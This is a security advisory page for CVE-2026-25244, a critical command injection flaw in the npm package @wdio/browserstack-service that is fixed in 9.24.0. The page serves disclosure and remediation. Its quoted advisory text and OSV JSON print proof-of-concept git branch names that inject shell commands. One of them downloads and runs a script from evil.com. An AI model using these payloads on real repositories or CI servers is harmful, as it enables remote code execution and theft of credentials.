Vulnerabilities in pkg:npm/@wdio/browserstack-service

PACKAGE
Advisory Identifier: GHSA-5c46-x3qw-q7j7
Advisory Summary

CVE-2026-25244 is a CRITICAL (CVSS 9.8) webdriverio browserstack service has a vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @wdio/browserstack service libraries in the npm ecosystem. The issue involves webdriverio browserstack service has a command injection issue. Remediation is available by upgrading affected packages to version 9.24.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/@wdio/browserstack-service

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/@wdio/browserstack-service. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-5c46-x3qw-q7j7 CVE-2026-25244 CRITICAL WebdriverIO BrowserStack Service has a Command Injection issue

CVE-2026-25244 at a Glance

CVE Identifier CVE-2026-25244
GHSA Identifier GHSA-5c46-x3qw-q7j7
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product @wdio/browserstack service
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25244

To remediate this vulnerability, upgrade all affected @wdio/browserstack service dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@wdio/browserstack-service fixed: 9.24.0
npm install @wdio/browserstack-service@9.24.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @wdio/browserstack-service

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25244, inspect your project dependencies using npm:

npm ls @wdio/browserstack-service

Analyze the terminal output to locate any version of @wdio/browserstack service in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.24.0), your application is affected.

Note: The npm ls @wdio/browserstack-service command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @wdio/browserstack service, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### Vulnerable Code **File**: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204 ### Root Cause User-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches. ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED" ``` ### Attack Vector 1. Attacker creates a malicious git repository with a branch name containing command injection payload 2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`. 3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name 4. Branch name is interpolated into shell commands without sanitization 5. Shell interprets special characters and executes attacker's commands ### PoC ### Step 1: Create Malicious Repository Branch ``` git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED" ``` ### Step 2: Configure WebdriverIO ```javascript // wdio.conf.js export const config = { services: [ ['browserstack', { user: process.env.BROWSERSTACK_USERNAME, key: process.env.BROWSERSTACK_ACCESS_KEY, testOrchestrationOptions: { runSmartSelection: { enabled: true, source: ['/tmp/malicious-repo'] // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory. } } }] ], // ... rest of config } ``` ### Step 3: Run Tests ```bash npm run wdio ``` ### Step 4: Verify RCE ```bash # Check if file was created (proof of RCE) ls -la /tmp/pwned.txt ``` ### Impact - **Remote Code Execution** on CI/CD servers or developer machines - **Information Disclosure** (environment variables, secrets, credentials) - **Data Exfiltration** (source code, SSH keys, configuration files) - **System Compromise** (backdoor installation, lateral movement) - **Supply Chain Attack** (modify build artifacts)

CVE-2026-25244 Affected @wdio/browserstack service Versions

1 component(s)
Fixed Versions:
9.24.0
Product / Package Ecosystem Affected Versions Fixed Version
@wdio/browserstack-service
npm
< 9.24.0
9.24.0

References

Frequently Asked Questions

What is CVE-2026-25244?
CVE-2026-25244 is a security vulnerability in @wdio/browserstack service involving WebdriverIO BrowserStack Service has a Command Injection issue under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which @wdio/browserstack service versions are affected?
Affected versions include releases prior to 9.24.0 across affected packages: @wdio/browserstack-service.
What version fixes CVE-2026-25244?
Upgrading to 9.24.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @wdio/browserstack-service affected?
Yes, @wdio/browserstack-service is affected in releases prior to 9.24.0. Upgrade your dependency to 9.24.0 or later.
What is the CVSS score of CVE-2026-25244?
CVE-2026-25244 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25244?
CVE-2026-25244 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2026-25244?
Run the dependency tree command: 'npm ls @wdio/browserstack-service'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5c46-x3qw-q7j7",
  "modified" : "2026-05-19T16:08:59Z",
  "published" : "2026-05-11T17:53:46Z",
  "aliases" : [ "CVE-2026-25244" ],
  "summary" : "WebdriverIO BrowserStack Service has a Command Injection issue",
  "details" : "### Summary\nA command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### Vulnerable Code\n**File**:  https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204\n\n### Root Cause\nUser-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.\nGit allows to create these branches.\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;rm\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;curl\\${IFS}evil.com/evil.sh\\${IFS}>/tmp/evil.sh;bash\\${IFS}/tmp/evil.sh;echo\\${IFS}PWNED\"\n```\n\n\n### Attack Vector\n1. Attacker creates a malicious git repository with a branch name containing command injection payload\n2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.\n3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name\n4. Branch name is interpolated into shell commands without sanitization\n5. Shell interprets special characters and executes attacker's commands\n\n### PoC\n### Step 1: Create Malicious Repository Branch\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\n```\n\n### Step 2: Configure WebdriverIO\n\n```javascript\n// wdio.conf.js\nexport const config = {\n    services: [\n        ['browserstack', {\n            user: process.env.BROWSERSTACK_USERNAME,\n            key: process.env.BROWSERSTACK_ACCESS_KEY,\n            testOrchestrationOptions: {\n                runSmartSelection: {\n                    enabled: true,\n                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without \"source\" field, it runs in the current directory.\n                }\n            }\n        }]\n    ],\n    // ... rest of config\n}\n```\n### Step 3: Run Tests\n\n```bash\nnpm run wdio\n```\n### Step 4: Verify RCE\n\n```bash\n# Check if file was created (proof of RCE)\nls -la /tmp/pwned.txt\n```\n\n### Impact\n\n- **Remote Code Execution** on CI/CD servers or developer machines\n- **Information Disclosure** (environment variables, secrets, credentials)\n- **Data Exfiltration** (source code, SSH keys, configuration files)\n- **System Compromise** (backdoor installation, lateral movement)\n- **Supply Chain Attack** (modify build artifacts)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@wdio/browserstack-service"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.24.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.23.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25244"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/webdriverio/webdriverio"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-11T17:53:46Z",
    "nvd_published_at" : "2026-05-18T21:16:39Z"
  }
}